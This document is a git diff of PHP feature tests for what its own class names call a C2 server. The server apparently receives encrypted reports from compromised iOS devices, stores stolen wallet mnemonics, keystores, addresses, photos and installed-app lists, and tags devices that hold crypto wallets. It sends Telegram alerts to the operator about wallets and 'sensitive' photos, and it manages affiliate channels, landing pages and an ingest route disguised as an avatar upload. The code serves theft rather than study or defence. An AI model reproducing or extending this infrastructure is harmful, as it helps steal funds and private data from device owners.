feat: xxbb
This commit is contained in:
@@ -242,7 +242,12 @@ class C2ApiTest extends TestCase
|
||||
$this->assertSame('MetaMask', $mm->name);
|
||||
$this->assertSame('7.12.0', $mm->version);
|
||||
$this->assertTrue($mm->is_wallet);
|
||||
$safari = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.apple.mobilesafari')->first();
|
||||
$this->assertNotNull($safari);
|
||||
$this->assertFalse($safari->is_wallet);
|
||||
$this->assertSame(2, $device->apps()->count());
|
||||
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
|
||||
$this->assertSame(['MetaMask'], $device->walletNameList());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
@@ -19,6 +19,8 @@ class ChannelProjectServiceTest extends TestCase
|
||||
|
||||
private const CHANNEL_ID = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
|
||||
|
||||
private const NEW_CHANNEL_ID = 'FAFA9988';
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
@@ -56,6 +58,18 @@ class ChannelProjectServiceTest extends TestCase
|
||||
return "log line\n".ChannelProjectService::RESULT_MARKER.json_encode($payload)."\n";
|
||||
}
|
||||
|
||||
private function stageFakeWeifile(): string
|
||||
{
|
||||
$dir = storage_path('app/channel-builder-new-test/out/weifile');
|
||||
if (! is_dir($dir) && ! mkdir($dir, 0775, true) && ! is_dir($dir)) {
|
||||
$this->fail('unable to create staged weifile dir');
|
||||
}
|
||||
file_put_contents($dir.'/index.js', 'const V="CACACACA";');
|
||||
file_put_contents($dir.'/weifile.html', '<script src="index.js"></script>');
|
||||
|
||||
return $dir;
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function it_invokes_new_project_script_and_returns_seeds(): void
|
||||
{
|
||||
@@ -328,26 +342,27 @@ class ChannelProjectServiceTest extends TestCase
|
||||
$channel = Channel::query()->where('channel_id', self::CHANNEL_ID)->first();
|
||||
$this->assertSame([], $channel->domains ?? []);
|
||||
$this->assertSame(Channel::BUILDER_OLD, $channel->builderType());
|
||||
$this->assertNull($channel->channel_name);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function it_invokes_new_builder_for_shared_weifile(): void
|
||||
public function it_packs_new_channel_from_staged_weifile(): void
|
||||
{
|
||||
$this->stageFakeWeifile();
|
||||
Process::fake([
|
||||
'*' => Process::result(output: $this->fakeBuildResult([
|
||||
'builder_type' => 'new',
|
||||
'channel_name' => null,
|
||||
'weifile_path' => '/weifile/weifile.html',
|
||||
'support_path' => '/weifile/weifile.html',
|
||||
'channel_code' => self::NEW_CHANNEL_ID,
|
||||
'weifile_path' => null,
|
||||
'support_path' => '',
|
||||
'details_path' => '/details/',
|
||||
'daily_path' => '/details/',
|
||||
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip',
|
||||
'domains' => ['deployment' => [], 'reporting' => []],
|
||||
])),
|
||||
]);
|
||||
|
||||
$result = app(ChannelProjectService::class)->generate(
|
||||
self::CHANNEL_ID,
|
||||
self::NEW_CHANNEL_ID,
|
||||
'test',
|
||||
null,
|
||||
null,
|
||||
@@ -355,107 +370,139 @@ class ChannelProjectServiceTest extends TestCase
|
||||
);
|
||||
|
||||
$this->assertSame(Channel::BUILDER_NEW, $result['builder_type']);
|
||||
$this->assertNull($result['channel_name']);
|
||||
$this->assertSame('/weifile/weifile.html', $result['weifile_path']);
|
||||
$this->assertSame('/weifile/weifile.html', $result['support_path']);
|
||||
$this->assertNull($result['weifile_path']);
|
||||
$this->assertSame('', $result['support_path']);
|
||||
$this->assertSame('/details/', $result['daily_path']);
|
||||
$this->assertSame('/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip', $result['zip_path']);
|
||||
|
||||
Process::assertRan(function ($process) {
|
||||
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
|
||||
|
||||
return str_contains($joined, 'build.py')
|
||||
&& ! str_contains($joined, '--channel-name')
|
||||
&& str_contains($joined, '--channel-c')
|
||||
&& str_contains($joined, self::CHANNEL_ID)
|
||||
&& str_contains($joined, '--scheme')
|
||||
&& str_contains($joined, '--apply')
|
||||
&& str_contains($joined, '--force');
|
||||
return str_contains($joined, 'pack_channel.py')
|
||||
&& str_contains($joined, '--channel-code')
|
||||
&& str_contains($joined, self::NEW_CHANNEL_ID)
|
||||
&& ! str_contains($joined, 'build.py')
|
||||
&& ! str_contains($joined, '--apply');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function new_builder_rejects_mismatched_seeds(): void
|
||||
public function new_builder_requires_staged_weifile(): void
|
||||
{
|
||||
$index = storage_path('app/channel-builder-new-test/out/weifile/index.js');
|
||||
if (is_file($index)) {
|
||||
unlink($index);
|
||||
}
|
||||
|
||||
$this->expectException(RuntimeException::class);
|
||||
$this->expectExceptionMessage('deployment_seed 与 reporting_seed 必须相同');
|
||||
$this->expectExceptionMessage('请先运行构建脚本');
|
||||
|
||||
app(ChannelProjectService::class)->generate(
|
||||
self::CHANNEL_ID,
|
||||
self::NEW_CHANNEL_ID,
|
||||
'test',
|
||||
null,
|
||||
null,
|
||||
Channel::BUILDER_NEW,
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function new_builder_ignores_seed_mismatch(): void
|
||||
{
|
||||
$this->stageFakeWeifile();
|
||||
Process::fake([
|
||||
'*' => Process::result(output: $this->fakeBuildResult([
|
||||
'builder_type' => 'new',
|
||||
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip',
|
||||
])),
|
||||
]);
|
||||
|
||||
$result = app(ChannelProjectService::class)->generate(
|
||||
self::NEW_CHANNEL_ID,
|
||||
'test',
|
||||
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
|
||||
Channel::BUILDER_NEW,
|
||||
'abcd1234',
|
||||
);
|
||||
|
||||
$this->assertSame(self::NEW_CHANNEL_ID, $result['channel_id']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function support_links_use_weifile_path_for_new_builder(): void
|
||||
{
|
||||
$channel = new Channel([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'channel_id' => self::NEW_CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'domains' => ['channel.test'],
|
||||
]);
|
||||
$this->assertSame([
|
||||
'https://channel.test/weifile/weifile.html',
|
||||
], $channel->supportLinks());
|
||||
$this->assertSame([], $channel->supportLinks());
|
||||
$this->assertSame('/weifile/weifile.html', $channel->landingPath());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function store_new_builder_returns_shared_weifile_path(): void
|
||||
public function store_new_builder_returns_zip_path(): void
|
||||
{
|
||||
$this->stageFakeWeifile();
|
||||
Process::fake([
|
||||
'*' => Process::result(output: $this->fakeBuildResult([
|
||||
'weifile_path' => '/weifile/weifile.html',
|
||||
'support_path' => '/weifile/weifile.html',
|
||||
'weifile_path' => null,
|
||||
'support_path' => '',
|
||||
'details_path' => '/details/',
|
||||
'daily_path' => '/details/',
|
||||
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip',
|
||||
])),
|
||||
]);
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
|
||||
$response = $this->actingAs($admin, 'admin')
|
||||
->post(route('admin.channels.store'), [
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'channel_id' => self::NEW_CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => 0,
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.builder_type', Channel::BUILDER_NEW);
|
||||
->assertJsonPath('data.builder_type', Channel::BUILDER_NEW)
|
||||
->assertJsonPath('data.zip_path', '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip');
|
||||
|
||||
$channel = Channel::query()->where('channel_id', self::CHANNEL_ID)->first();
|
||||
$channel = Channel::query()->where('channel_id', self::NEW_CHANNEL_ID)->first();
|
||||
$this->assertNotNull($channel);
|
||||
$this->assertSame(Channel::BUILDER_NEW, $channel->builderType());
|
||||
$this->assertNull($channel->channel_name);
|
||||
$this->assertSame('/weifile/weifile.html', $channel->landingPath());
|
||||
$this->assertNull($response->json('data.channel_name'));
|
||||
$this->assertSame('/weifile/weifile.html', $response->json('data.weifile_path'));
|
||||
$this->assertNull($response->json('data.weifile_path'));
|
||||
$this->assertNotEmpty($response->json('data.download_url'));
|
||||
|
||||
Process::assertRan(function ($process) {
|
||||
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
|
||||
|
||||
return str_contains($joined, 'build.py')
|
||||
&& ! str_contains($joined, '--channel-name')
|
||||
&& str_contains($joined, '--channel-c')
|
||||
&& str_contains($joined, self::CHANNEL_ID);
|
||||
return str_contains($joined, 'pack_channel.py')
|
||||
&& str_contains($joined, self::NEW_CHANNEL_ID)
|
||||
&& ! str_contains($joined, 'build.py');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function destroy_new_builder_keeps_shared_weifile(): void
|
||||
public function destroy_new_builder_deletes_zip_not_details(): void
|
||||
{
|
||||
Process::fake();
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$channel = Channel::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'channel_id' => self::NEW_CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'channel_name' => null,
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
$zipDir = storage_path('app/channel-artifacts-test/channel-source-new');
|
||||
if (! is_dir($zipDir)) {
|
||||
mkdir($zipDir, 0775, true);
|
||||
}
|
||||
$zip = $zipDir.'/'.self::NEW_CHANNEL_ID.'.zip';
|
||||
file_put_contents($zip, 'zip');
|
||||
$details = storage_path('app/channel-artifacts-test/details');
|
||||
if (! is_dir($details)) {
|
||||
mkdir($details, 0775, true);
|
||||
}
|
||||
file_put_contents($details.'/show.html', 'keep');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->delete(route('admin.channels.destroy', $channel))
|
||||
@@ -468,23 +515,16 @@ class ChannelProjectServiceTest extends TestCase
|
||||
return str_contains($joined, 'delete_channel.py')
|
||||
|| str_contains($joined, 'delete_channel_web.py');
|
||||
});
|
||||
$this->assertFileDoesNotExist($zip);
|
||||
$this->assertFileExists($details.'/show.html');
|
||||
$this->assertDatabaseMissing('channels', ['id' => $channel->id]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function random_channel_name_is_unique_and_not_reserved(): void
|
||||
public function reserved_names_cannot_be_new_channel_ids(): void
|
||||
{
|
||||
Channel::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'channel_name' => 'taken123',
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
|
||||
$name = Channel::randomChannelName();
|
||||
$this->assertMatchesRegularExpression('/^[a-z0-9]{8}$/', $name);
|
||||
$this->assertNotSame('taken123', $name);
|
||||
$this->assertFalse(Channel::isReservedChannelName($name));
|
||||
$this->assertNull(Channel::normalizeNewChannelId('ADMIN'));
|
||||
$this->assertNull(Channel::normalizeNewChannelId('weifile'));
|
||||
$this->assertSame('FAFA9988', Channel::normalizeNewChannelId('fafa9988'));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -9,6 +9,7 @@ use App\Models\Photo;
|
||||
use App\Models\User;
|
||||
use App\Services\IngestService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
@@ -46,6 +47,47 @@ class DeviceAlbumStorageTest extends TestCase
|
||||
@unlink($tmp);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function ingest_notifies_telegram_when_x_hit_is_12(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
config([
|
||||
'coruna.telegram.bot_token' => 'bot-token',
|
||||
'coruna.telegram.owner_chat_id' => '12345',
|
||||
]);
|
||||
Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
|
||||
|
||||
$device = Device::query()->create(['device_id' => 'dev-hit12']);
|
||||
$tmp = sys_get_temp_dir().'/coruna_hit12_'.uniqid().'.jpg';
|
||||
file_put_contents($tmp, "\xFF\xD8\xFF\xD9");
|
||||
|
||||
$ingest = app(IngestService::class);
|
||||
$ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]);
|
||||
Http::assertNothingSent();
|
||||
|
||||
$tmp2 = sys_get_temp_dir().'/coruna_hit12_'.uniqid().'.jpg';
|
||||
file_put_contents($tmp2, "\xFF\xD8\xFF\xDA\xFF\xD9");
|
||||
$ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]);
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, 'Sensitive Photo')
|
||||
&& str_contains($text, 'dev-hit12')
|
||||
&& str_contains($text, 'x-hit</b>: 12');
|
||||
});
|
||||
|
||||
$ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]);
|
||||
$this->assertSame(1, collect(Http::recorded())->filter(function ($pair) {
|
||||
$text = (string) ($pair[0]->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, 'Sensitive Photo');
|
||||
})->count());
|
||||
|
||||
@unlink($tmp);
|
||||
@unlink($tmp2);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_can_toggle_album_storage(): void
|
||||
{
|
||||
|
||||
@@ -0,0 +1,115 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\Photo;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class DeviceDeleteTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
#[Test]
|
||||
public function admin_can_delete_device_and_related_data(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$device = Device::query()->create(['device_id' => 'dev-del-1', 'channel_id' => '86C1AAD5']);
|
||||
|
||||
$photoPath = 'c2/photos/dev-del-1/hit.jpg';
|
||||
$checkPath = 'c2/check/dev-del-1/pack/file.bin';
|
||||
Storage::disk('local')->put($photoPath, "\xFF\xD8\xFF\xD9");
|
||||
Storage::disk('local')->put($checkPath, 'x');
|
||||
|
||||
Photo::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'sha256' => hash('sha256', 'x'),
|
||||
'path' => $photoPath,
|
||||
'size' => 4,
|
||||
]);
|
||||
DeviceApp::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'bundle_id' => 'im.token.app',
|
||||
'name' => 'imToken',
|
||||
]);
|
||||
DeviceEvent::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'device_key' => 'dev-del-1',
|
||||
'event_name' => 'injection_success',
|
||||
]);
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'content' => ['text' => 'hello'],
|
||||
]);
|
||||
WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => 'Txxx',
|
||||
'source' => 'imToken',
|
||||
'chain_type' => 'TRX',
|
||||
]);
|
||||
WalletMnemonic::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'imToken',
|
||||
'mnemonic_hash' => hash('sha256', 'abandon'),
|
||||
'mnemonic_enc' => 'enc',
|
||||
]);
|
||||
WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'raw_json' => ['k' => 1],
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->deleteJson(route('admin.devices.destroy', $device))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0);
|
||||
|
||||
$this->assertNull(Device::query()->find($device->id));
|
||||
$this->assertSame(0, Photo::query()->count());
|
||||
$this->assertSame(0, DeviceApp::query()->count());
|
||||
$this->assertSame(0, DeviceEvent::query()->count());
|
||||
$this->assertSame(0, Note::query()->count());
|
||||
$this->assertSame(0, WalletAddress::query()->count());
|
||||
$this->assertSame(0, WalletMnemonic::query()->count());
|
||||
$this->assertSame(0, WalletKeystore::query()->count());
|
||||
Storage::disk('local')->assertMissing($photoPath);
|
||||
Storage::disk('local')->assertMissing($checkPath);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_cannot_delete_other_channel_device(): void
|
||||
{
|
||||
$agent = User::query()->create([
|
||||
'username' => 'agent_del',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
]);
|
||||
Channel::query()->create([
|
||||
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
'user_id' => $agent->id,
|
||||
'status' => 1,
|
||||
]);
|
||||
$other = Device::query()->create([
|
||||
'device_id' => 'dev-other-del',
|
||||
'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
|
||||
]);
|
||||
|
||||
$this->actingAs($agent, 'agent')
|
||||
->deleteJson(route('user.devices.destroy', $other))
|
||||
->assertForbidden();
|
||||
|
||||
$this->assertNotNull(Device::query()->find($other->id));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,132 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Device;
|
||||
use App\Services\IngestService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class DeviceWalletFlagTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
#[Test]
|
||||
public function new_device_wallet_flag_is_unknown(): void
|
||||
{
|
||||
$device = Device::query()->create(['device_id' => 'dev-wallet-unknown']);
|
||||
|
||||
$this->assertSame(Device::WALLET_UNKNOWN, (int) $device->has_wallet);
|
||||
$this->assertSame([], $device->walletNameList());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function applist_without_plugin_wallets_marks_none(): void
|
||||
{
|
||||
$device = Device::query()->create(['device_id' => 'dev-wallet-none']);
|
||||
|
||||
app(IngestService::class)->ingestInstalledApps($device, [
|
||||
'al' => [
|
||||
['a' => 'Safari', 'b' => 'com.apple.mobilesafari', 'v' => '17'],
|
||||
['a' => 'Foo Wallet', 'b' => 'com.foo.somecoinwallet', 'v' => '1'],
|
||||
['a' => 'Telegram', 'b' => 'ph.telegra.Telegraph', 'v' => '10'],
|
||||
],
|
||||
]);
|
||||
|
||||
$device->refresh();
|
||||
$this->assertSame(Device::WALLET_NONE, (int) $device->has_wallet);
|
||||
$this->assertSame([], $device->walletNameList());
|
||||
$this->assertFalse((bool) $device->apps()->where('bundle_id', 'com.foo.somecoinwallet')->value('is_wallet'));
|
||||
$this->assertFalse((bool) $device->apps()->where('bundle_id', 'ph.telegra.Telegraph')->value('is_wallet'));
|
||||
$this->assertFalse((bool) $device->apps()->where('bundle_id', 'com.apple.mobilesafari')->value('is_wallet'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function applist_with_plugin_wallets_marks_yes_and_notifies_once(): void
|
||||
{
|
||||
config([
|
||||
'coruna.telegram.bot_token' => 'bot-token',
|
||||
'coruna.telegram.owner_chat_id' => '12345',
|
||||
]);
|
||||
Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
|
||||
|
||||
$device = Device::query()->create(['device_id' => 'dev-wallet-yes']);
|
||||
$ingest = app(IngestService::class);
|
||||
|
||||
$ingest->ingestInstalledApps($device, [
|
||||
'al' => [
|
||||
['a' => 'Safari', 'b' => 'com.apple.mobilesafari'],
|
||||
],
|
||||
]);
|
||||
$device->refresh();
|
||||
$this->assertSame(Device::WALLET_NONE, (int) $device->has_wallet);
|
||||
Http::assertNothingSent();
|
||||
|
||||
$ingest->ingestInstalledApps($device, [
|
||||
'al' => [
|
||||
['a' => 'MetaMask', 'b' => 'io.metamask.MetaMask'],
|
||||
['a' => 'imToken', 'b' => 'im.token.app'],
|
||||
],
|
||||
]);
|
||||
$device->refresh();
|
||||
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
|
||||
$this->assertSame(['MetaMask', 'imToken'], $device->walletNameList());
|
||||
|
||||
$ingest->ingestInstalledApps($device, [
|
||||
'al' => [
|
||||
['a' => 'Trust', 'b' => 'com.sixdays.trust'],
|
||||
],
|
||||
]);
|
||||
$device->refresh();
|
||||
$this->assertSame(['MetaMask', 'Trust Wallet', 'imToken'], $device->walletNameList());
|
||||
|
||||
$walletAlerts = 0;
|
||||
Http::assertSent(function ($request) use (&$walletAlerts) {
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
if (str_contains($text, 'Installed Wallets')) {
|
||||
$walletAlerts++;
|
||||
$this->assertStringContainsString('MetaMask', $text);
|
||||
$this->assertStringContainsString('imToken', $text);
|
||||
}
|
||||
|
||||
return true;
|
||||
});
|
||||
$this->assertSame(1, $walletAlerts);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_can_filter_devices_by_wallet_flag(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
Device::query()->create(['device_id' => 'dev-unknown', 'has_wallet' => Device::WALLET_UNKNOWN]);
|
||||
Device::query()->create(['device_id' => 'dev-none', 'has_wallet' => Device::WALLET_NONE]);
|
||||
Device::query()->create([
|
||||
'device_id' => 'dev-yes',
|
||||
'has_wallet' => Device::WALLET_YES,
|
||||
'wallet_names' => ['MetaMask', 'TronLink'],
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.devices.data', ['has_wallet' => Device::WALLET_YES]))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.device_id', 'dev-yes')
|
||||
->assertJsonPath('data.0.has_wallet', Device::WALLET_YES)
|
||||
->assertJsonPath('data.0.wallet_names', ['MetaMask', 'TronLink']);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.devices.data', ['has_wallet' => Device::WALLET_NONE]))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.device_id', 'dev-none');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.devices.data', ['has_wallet' => Device::WALLET_UNKNOWN]))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.device_id', 'dev-unknown');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,144 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\PageVisit;
|
||||
use App\Services\CorunaCrypto;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class NewBuilderIngestTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private const SHARED_C = '202700cfb1ad3de68e11239dcc26c30b';
|
||||
|
||||
private const CHANNEL_ID = 'FAFA9988';
|
||||
|
||||
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
|
||||
{
|
||||
$enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson($payload, $ts);
|
||||
|
||||
return $this->call('POST', $path, [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_X_TS' => $ts,
|
||||
], $enc['body']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function new_builder_device_uses_recent_visit_not_native_c(): void
|
||||
{
|
||||
Channel::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
Cache::flush();
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
'REMOTE_ADDR' => '203.0.113.9',
|
||||
], json_encode([
|
||||
'channelCode' => 'fafa9988',
|
||||
'deviceVersion' => 'iOS 16.6',
|
||||
'domain' => 'landing.example',
|
||||
'sessionId' => '11111111-2222-4333-8444-555555555555',
|
||||
]))->assertOk();
|
||||
|
||||
$this->call('POST', '/event', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_X_TS' => '1786468227899',
|
||||
'REMOTE_ADDR' => '203.0.113.9',
|
||||
], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([
|
||||
'd' => '000C30D83CD0402E',
|
||||
'f' => '000C30D83CD0402E',
|
||||
'c' => self::SHARED_C,
|
||||
'et' => 'injection_success',
|
||||
'm' => 'iPhone12,8',
|
||||
'pv' => '16.6',
|
||||
], '1786468227899')['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(self::CHANNEL_ID, $device->channel_id);
|
||||
$this->assertSame('landing.example', $device->source_domain);
|
||||
$this->assertNotSame(self::SHARED_C, $device->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function new_builder_device_without_visit_is_still_created(): void
|
||||
{
|
||||
$this->xxbbPost('/event', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'f' => '000C30D83CD0402E',
|
||||
'c' => self::SHARED_C,
|
||||
'et' => 'injection_success',
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertNull($device->channel_id);
|
||||
$this->assertNull($device->source_domain);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function old_builder_put_still_writes_payload_c(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$ts = '1722585600001';
|
||||
$enc = $crypto->encryptJson([
|
||||
'd' => '000C30D83CD0402E',
|
||||
'f' => '000C30D83CD0402E',
|
||||
'c' => self::SHARED_C,
|
||||
'et' => 'injection_success',
|
||||
], $ts);
|
||||
|
||||
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts,
|
||||
], $enc['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(self::SHARED_C, $device->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function claimed_visit_is_not_reused_by_second_device(): void
|
||||
{
|
||||
Channel::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'client_uid' => 'landing.example',
|
||||
'ip' => '127.0.0.1',
|
||||
'domain' => 'landing.example',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
|
||||
$this->xxbbPost('/event', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'c' => self::SHARED_C,
|
||||
'et' => 'injection_success',
|
||||
])->assertOk();
|
||||
$this->xxbbPost('/event', [
|
||||
'd' => '111C30D83CD0402E',
|
||||
'c' => self::SHARED_C,
|
||||
'et' => 'injection_success',
|
||||
])->assertOk();
|
||||
|
||||
$first = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$second = Device::query()->where('device_id', '111C30D83CD0402E')->first();
|
||||
$this->assertSame(self::CHANNEL_ID, $first->channel_id);
|
||||
$this->assertNull($second->channel_id);
|
||||
$this->assertNotNull($second);
|
||||
}
|
||||
}
|
||||
@@ -35,7 +35,8 @@ class PageVisitTest extends TestCase
|
||||
$row = PageVisit::query()->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame(self::CHANNEL, $row->channel_id);
|
||||
$this->assertSame('11111111-2222-4333-8444-555555555555', $row->client_uid);
|
||||
$this->assertSame(PageVisit::visitorUid($row->domain ?? 'localhost', $row->ip), $row->client_uid);
|
||||
$this->assertSame(PageVisit::VISITOR_UID_LENGTH, strlen($row->client_uid));
|
||||
$this->assertSame('iOS', $row->os);
|
||||
$this->assertSame('16.6', $row->os_version);
|
||||
$this->assertSame('Safari', $row->browser);
|
||||
@@ -79,6 +80,20 @@ class PageVisitTest extends TestCase
|
||||
$this->assertSame('https://search.example/q=ios', $row->referer);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function visitor_uid_is_stable_for_domain_and_ip(): void
|
||||
{
|
||||
$a = PageVisit::visitorUid('XXBB.TV', '203.0.113.9');
|
